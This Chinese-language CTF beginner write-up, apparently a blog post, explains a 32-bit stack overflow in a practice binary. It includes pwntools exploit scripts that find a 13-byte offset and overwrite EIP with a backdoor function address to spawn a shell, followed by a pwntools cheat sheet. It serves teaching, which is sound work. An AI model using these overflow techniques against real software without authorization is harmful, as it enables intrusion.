一、前言
学习CTF的PWN找了一个最简单的程序学习记录一下
首先下载漏洞程序
pwn_level1链接:https://a-new.lanzouw.com/iPXnm0dsft8j
先看一下程序的大概信息
elf 32位 先大概看一下main函数
再看一下vulnerable_function函数
反编译看一下
新建一个exp1.py写如下代码
from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))
p.interactive()
终端跑一下
python3 exp1.py
在pwndbg这个窗口窗口下面输入c,然后回车
看EIP当前执行到了0x65616161,因为栈溢出覆盖到了EIP,但是这个地址不存在
加上一行代码搜一下0x65616161的位置
from pwn import *
p = process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))
print(cyclic_find(0x65616161))# 加上这行代码
p.interactive()
打印出13
也就是我们只要填充13个字符就可以控制EIP了。
也可以在gdb中利用pattern命令来获取需要填充的字符数量
首先gdb加载程序,用命令pattern create 100 来创建一个长度为100的字符串,然后输入r命令运行程序,复制我们刚才生成的字符串输入
回车然后用命令pattern offset 0x65616161获取需要填充的字符个数
搜索结果出来了两个,小端13,大端 16,x86程序是小端的,所以是13,我们也可以用readelf命令确认一下
后门函数,地址是在0x804849A
要执行这个函数,只要填充13个字符,再加上p32(0x804849A)就可以了
最终payload是
from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(b'a'*13+p32(0x804849A))
p.interactive()
再运行一下脚本,在pwndbg这个窗口下面输入c,然后回车
在运行脚本那个终端输入ls,可以看到打印了同目录的文件
看一下vulnerable_function函数
简单一点我们看ida反汇编的函数
buf的大小是9,read的时候写入buf的数据是0x100,由此出现了溢出,读取的数据覆盖到了EIP就可以控制EIP了,我们对比一下read数据长度小于9和长度大于9的情况就清楚了,这个是输入123456的长度小9,read完返回到main+22
再看一下长度超过9的出现溢出的情况
对比不溢出的栈可以看到原来返回到main+22的地址被覆盖成了aaae也就是0x65616161,只要把这个换成我们要执行的后门函数地址就get shell了。
五、附录
pwntools常用命令
连接
remote('ip',端口)# 远程
process()# 本地
发送
send(data) # 发送数据
sendline(data) # 发送一行数据,相当于在数据末尾加\n
sendafter(xxx,data) # 接收到 xxx 之后发送 data
接收
recv(numb=4096, timeout=default) # 接收指定字节
recvline(keepends=True) # 接收一行,keepends为是否保留行尾的\n
recvuntil(delims, drop=False) # 一直读到 delims 的 pattern 出现为止
recvrepeat(timeout=default) # 持续接受直到EOF或timeout
交互
interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
打包解包
p32()/p64() # 打包一个整数,分别打包为32位或64位
u32()/u64() # 解包一个字符串,得到整数
比如将0xdeadbeef进行32位的打包,将会得到'\xef\xbe\xad\xde'(小端)
payload = p32(0xdeadbeef)
payload = p64(0xdeadbeef)
gdb模块
gdb.attach(target, gdbscript = None) # 在一个新终端打开 GDB 并 attach 到指定 PID 的进程,或者一个 pwnlib.tubes 对象
例如
bash = process(‘./bash’)
gdb.attach(bash)